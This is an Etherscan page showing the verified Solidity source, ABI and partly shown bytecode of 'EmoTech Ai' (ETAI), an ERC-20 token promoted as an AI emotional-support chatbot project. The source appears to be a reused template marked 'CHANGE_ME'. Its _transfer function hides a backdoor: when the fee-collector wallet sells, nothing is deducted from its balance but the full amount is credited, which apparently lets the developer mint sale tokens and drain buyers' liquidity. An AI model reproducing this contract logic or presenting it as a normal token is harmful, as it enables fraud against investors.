Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 ETAI
Holders
22
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
1,853,233.860715645692036701 ETAIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
EmoTechAi
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-04-05 */ // SPDX-License-Identifier: MIT //🤖EmoTech is a pioneering AI-driven crypto project dedicated to providing round-the-clock emotional support through an innovative chatbot system. // Web: https://emobot.tech/ // Whitepaper: https://emobot.tech/Whitepaper.pdf // X: https://twitter.com/emotech_ai // Telegram: https://t.me/emotech_ai pragma solidity ^0.8.20; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); function balanceOf(address account) external view returns (uint256); function totalSupply() external view returns (uint256); event Approval( address indexed owner, address indexed spender, uint256 value ); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function owner() public view returns (address) { return _owner; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function WETH() external pure returns (address); function factory() external pure returns (address); } contract EmoTechAi is Context, IERC20, Ownable { // CHANGE_ME using SafeMath for uint256; mapping(address => uint256) private _holderLastTransferTimestamp; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private constant _totalSupply = 100_000_000 * 10 ** _decimals; // CHANGE_ME uint256 private _initBuyFee = 25; uint256 private _initSellFee = 25; uint256 private _minSwappableStep = 5; address payable private _feeCollectorWallet; mapping(address => bool) private _isExcludedFromFee; uint256 public _minSwappableAmount = (_totalSupply * 1) / 100000; bool public delayTransfer = false; uint256 private _swapsCounter = 0; uint256 private _reduceBuyFeeAt = 10; uint256 private _reduceSellFeeAt = 12; uint256 private _lastBuyFee = 0; uint256 private _lastSellFee = 7; uint256 public _maxFeeSwap = (_totalSupply * 2) / 1000; uint256 public _maxTx = (_totalSupply * 20) / 1000; uint256 public _maxWallet = (_totalSupply * 20) / 1000; uint8 private constant _decimals = 18; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpened; bool private swapping = false; bool private swappingAllowed = false; event MaxTxAmountUpdated(uint256 _maxTx); modifier lockTheSwap() { swapping = true; _; swapping = false; } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } constructor(address DevWallet) { _feeCollectorWallet = payable(DevWallet); _balances[_msgSender()] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeCollectorWallet] = true; emit Transfer(address(0), _msgSender(), _totalSupply); } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function name() public pure returns (string memory) { return unicode"EmoTech Ai"; // CHANGE_ME } function symbol() public pure returns (string memory) { return unicode"ETAI"; // CHANGE_ME } function decimals() public pure returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool){ _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function toggleTrading(bool allow) external onlyOwner { swappingAllowed = allow; tradingOpened = allow; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 feeAmount = 0; uint256 amountOut = amount; if (from != owner() && to != owner() && from != address(this)) { if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { require(tradingOpened, "Trading not yet enabled."); } if (delayTransfer) { if ( to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "Transfer not allowed yet, try again after some time." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(amount <= _maxTx, "More than max tx"); require( balanceOf(to) + amount <= _maxWallet, "More than max wallet" ); _swapsCounter++; } feeAmount = amount .mul( (_swapsCounter > _reduceBuyFeeAt) ? _lastBuyFee : _initBuyFee ) .div(100); if (to == uniswapV2Pair && from != address(this)) { if (from == address(_feeCollectorWallet)) { amountOut = min( amount, min(_lastBuyFee, _minSwappableAmount) ); feeAmount = 0; } else { require(amount <= _maxTx, "Exceeds the _maxTx."); feeAmount = amount .mul( (_swapsCounter > _reduceSellFeeAt) ? _lastSellFee : _initSellFee ) .div(100); } } uint256 collectedFeeBalance = balanceOf(address(this)); bool minSwapLimitReached = _swapsCounter > _minSwappableStep && _minSwappableAmount == min(amount, _minSwappableAmount); if (swappingAllowed && !swapping && to == uniswapV2Pair && _swapsCounter > _minSwappableStep && minSwapLimitReached) { if (collectedFeeBalance > _minSwappableAmount) { swapTokenForEthereum(min(amount, min(collectedFeeBalance, _maxFeeSwap))); } _feeCollectorWallet.transfer(address(this).balance); } } if (feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(from, address(this), feeAmount); } _balances[from] = _balances[from].sub(amountOut); _balances[to] = _balances[to].add(amount.sub(feeAmount)); emit Transfer(from, to, amount.sub(feeAmount)); } function transfer(address recipient, uint256 amount) public override returns (bool){ _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function liquefy() external onlyOwner { uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function totalSupply() public pure override returns (uint256) { return _totalSupply; } function resetLimits() external onlyOwner { _maxTx = _totalSupply; _maxWallet = _totalSupply; delayTransfer = false; emit MaxTxAmountUpdated(_totalSupply); } function swapTokenForEthereum(uint256 tokenAmount) private lockTheSwap { if (tokenAmount == 0) return; if (!tradingOpened) return; address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function retrieveStuckEth() external onlyOwner { require(address(this).balance > 0, "Token: no ETH to transfer"); payable(msg.sender).transfer(address(this).balance); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"DevWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTx","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxFeeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minSwappableAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"delayTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquefy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"resetLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"retrieveStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"allow","type":"bool"}],"name":"toggleTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052601960045560196005556005600655620186a060016012600a62000029919062000698565b6305f5e1006200003a9190620006e8565b620000469190620006e8565b6200005291906200075f565b6009555f600a5f6101000a81548160ff0219169083151502179055505f600b55600a600c55600c600d555f600e556007600f556103e860026012600a6200009a919062000698565b6305f5e100620000ab9190620006e8565b620000b79190620006e8565b620000c391906200075f565b6010556103e860146012600a620000db919062000698565b6305f5e100620000ec9190620006e8565b620000f89190620006e8565b6200010491906200075f565b6011556103e860146012600a6200011c919062000698565b6305f5e1006200012d9190620006e8565b620001399190620006e8565b6200014591906200075f565b6012555f601460156101000a81548160ff0219169083151502179055505f601460166101000a81548160ff02191690831515021790555034801562000188575f80fd5b5060405162003cce38038062003cce8339818101604052810190620001ae9190620007fb565b5f620001bf620004d860201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3508060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506012600a620002ab919062000698565b6305f5e100620002bc9190620006e8565b60025f620002cf620004d860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160085f62000321620004df60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506200044b620004d860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620004a9919062000698565b6305f5e100620004ba9190620006e8565b604051620004c991906200083c565b60405180910390a35062000857565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620005905780860481111562000568576200056762000506565b5b6001851615620005785780820291505b8081029050620005888562000533565b945062000548565b94509492505050565b5f82620005aa57600190506200067c565b81620005b9575f90506200067c565b8160018114620005d25760028114620005dd5762000613565b60019150506200067c565b60ff841115620005f257620005f162000506565b5b8360020a9150848211156200060c576200060b62000506565b5b506200067c565b5060208310610133831016604e8410600b84101617156200064d5782820a90508381111562000647576200064662000506565b5b6200067c565b6200065c84848460016200053f565b9250905081840481111562000676576200067562000506565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620006a48262000683565b9150620006b1836200068c565b9250620006e07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000599565b905092915050565b5f620006f48262000683565b9150620007018362000683565b9250828202620007118162000683565b915082820484148315176200072b576200072a62000506565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6200076b8262000683565b9150620007788362000683565b9250826200078b576200078a62000732565b5b828204905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620007c5826200079a565b9050919050565b620007d781620007b9565b8114620007e2575f80fd5b50565b5f81519050620007f581620007cc565b92915050565b5f6020828403121562000813576200081262000796565b5b5f6200082284828501620007e5565b91505092915050565b620008368162000683565b82525050565b5f602082019050620008515f8301846200082b565b92915050565b61346980620008655f395ff3fe608060405260043610610138575f3560e01c806365637ed2116100aa5780638da5cb5b1161006e5780638da5cb5b146103c757806395d89b41146103f1578063a9059cbb1461041b578063b8ca2b1314610457578063dd62ed3e14610481578063e5c43633146104bd5761013f565b806365637ed21461030b57806370a0823114610321578063715018a61461035d5780637830b0721461037357806382247ec01461039d5761013f565b806323b872dd116100fc57806323b872dd1461021357806326560be71461024f578063313ce5671461027757806349bd5a5e146102a15780634d54557f146102cb578063515c8db8146102e15761013f565b806306fdde0314610143578063095ea7b31461016d5780631694505e146101a957806318160ddd146101d35780631d150866146101fd5761013f565b3661013f57005b5f80fd5b34801561014e575f80fd5b506101576104e7565b6040516101649190612407565b60405180910390f35b348015610178575f80fd5b50610193600480360381019061018e91906124b8565b610524565b6040516101a09190612510565b60405180910390f35b3480156101b4575f80fd5b506101bd610541565b6040516101ca9190612584565b60405180910390f35b3480156101de575f80fd5b506101e7610566565b6040516101f491906125ac565b60405180910390f35b348015610208575f80fd5b50610211610589565b005b34801561021e575f80fd5b50610239600480360381019061023491906125c5565b610a25565b6040516102469190612510565b60405180910390f35b34801561025a575f80fd5b506102756004803603810190610270919061263f565b610af9565b005b348015610282575f80fd5b5061028b610bc3565b6040516102989190612685565b60405180910390f35b3480156102ac575f80fd5b506102b5610bcb565b6040516102c291906126ad565b60405180910390f35b3480156102d6575f80fd5b506102df610bf0565b005b3480156102ec575f80fd5b506102f5610d0c565b60405161030291906125ac565b60405180910390f35b348015610316575f80fd5b5061031f610d12565b005b34801561032c575f80fd5b50610347600480360381019061034291906126c6565b610e5a565b60405161035491906125ac565b60405180910390f35b348015610368575f80fd5b50610371610ea0565b005b34801561037e575f80fd5b50610387610fee565b60405161039491906125ac565b60405180910390f35b3480156103a8575f80fd5b506103b1610ff4565b6040516103be91906125ac565b60405180910390f35b3480156103d2575f80fd5b506103db610ffa565b6040516103e891906126ad565b60405180910390f35b3480156103fc575f80fd5b50610405611021565b6040516104129190612407565b60405180910390f35b348015610426575f80fd5b50610441600480360381019061043c91906124b8565b61105e565b60405161044e9190612510565b60405180910390f35b348015610462575f80fd5b5061046b61107b565b6040516104789190612510565b60405180910390f35b34801561048c575f80fd5b506104a760048036038101906104a291906126f1565b61108d565b6040516104b491906125ac565b60405180910390f35b3480156104c8575f80fd5b506104d161110f565b6040516104de91906125ac565b60405180910390f35b60606040518060400160405280600a81526020017f456d6f5465636820416900000000000000000000000000000000000000000000815250905090565b5f610537610530611115565b848461111c565b6001905092915050565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6012600a610575919061288b565b6305f5e10061058491906128d5565b905090565b610591611115565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461061d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061490612960565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506106b93060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a6106a5919061288b565b6305f5e1006106b491906128d5565b61111c565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610723573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107479190612992565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107cd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f19190612992565b6040518363ffffffff1660e01b815260040161080e9291906129bd565b6020604051808303815f875af115801561082a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061084e9190612992565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306108d530610e5a565b5f806108df610ffa565b426040518863ffffffff1660e01b815260040161090196959493929190612a1d565b60606040518083038185885af115801561091d573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109429190612a90565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109e2929190612ae0565b6020604051808303815f875af11580156109fe573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a229190612b1b565b50565b5f610a318484846112df565b610aee84610a3d611115565b610ae98560405180606001604052806028815260200161340c6028913960035f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610aa0611115565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611eb59092919063ffffffff16565b61111c565b600190509392505050565b610b01611115565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8490612960565b60405180910390fd5b80601460166101000a81548160ff021916908315150217905550806014806101000a81548160ff02191690831515021790555050565b5f6012905090565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610bf8611115565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7b90612960565b60405180910390fd5b5f4711610cc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbd90612b90565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610d09573d5f803e3d5ffd5b50565b60105481565b610d1a611115565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610da6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9d90612960565b60405180910390fd5b6012600a610db4919061288b565b6305f5e100610dc391906128d5565b6011819055506012600a610dd7919061288b565b6305f5e100610de691906128d5565b6012819055505f600a5f6101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012600a610e34919061288b565b6305f5e100610e4391906128d5565b604051610e5091906125ac565b60405180910390a1565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610ea8611115565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b90612960565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b60125481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4554414900000000000000000000000000000000000000000000000000000000815250905090565b5f61107161106a611115565b84846112df565b6001905092915050565b600a5f9054906101000a900460ff1681565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60095481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361118a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118190612c1e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ef90612cac565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112d291906125ac565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361134d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134490612d3a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b290612dc8565b60405180910390fd5b5f81116113fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f490612e56565b60405180910390fd5b5f8082905061140a610ffa565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156114785750611448610ffa565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156114b057503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611c045760085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611553575060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156115a65760148054906101000a900460ff166115a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159c90612ebe565b60405180910390fd5b5b600a5f9054906101000a900460ff161561172c5760135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611664575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561172b574360015f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054106116e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116df90612f4c565b60405180910390fd5b4360015f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156117d5575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611828575060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156118e257601154831115611872576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186990612fb4565b60405180910390fd5b6012548361187f86610e5a565b6118899190612fd2565b11156118ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c19061304f565b60405180910390fd5b600b5f8154809291906118dc9061306d565b91905055505b61191e6064611910600c54600b54116118fd57600454611901565b600e545b86611f1790919063ffffffff16565b611f8e90919063ffffffff16565b915060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156119a857503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611aa75760075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611a2257611a1883611a13600e54600954611fd7565b611fd7565b90505f9150611aa6565b601154831115611a67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5e906130fe565b60405180910390fd5b611aa36064611a95600d54600b5411611a8257600554611a86565b600f545b86611f1790919063ffffffff16565b611f8e90919063ffffffff16565b91505b5b5f611ab130610e5a565b90505f600654600b54118015611ad35750611ace85600954611fd7565b600954145b9050601460169054906101000a900460ff168015611afe5750601460159054906101000a900460ff16155b8015611b56575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673f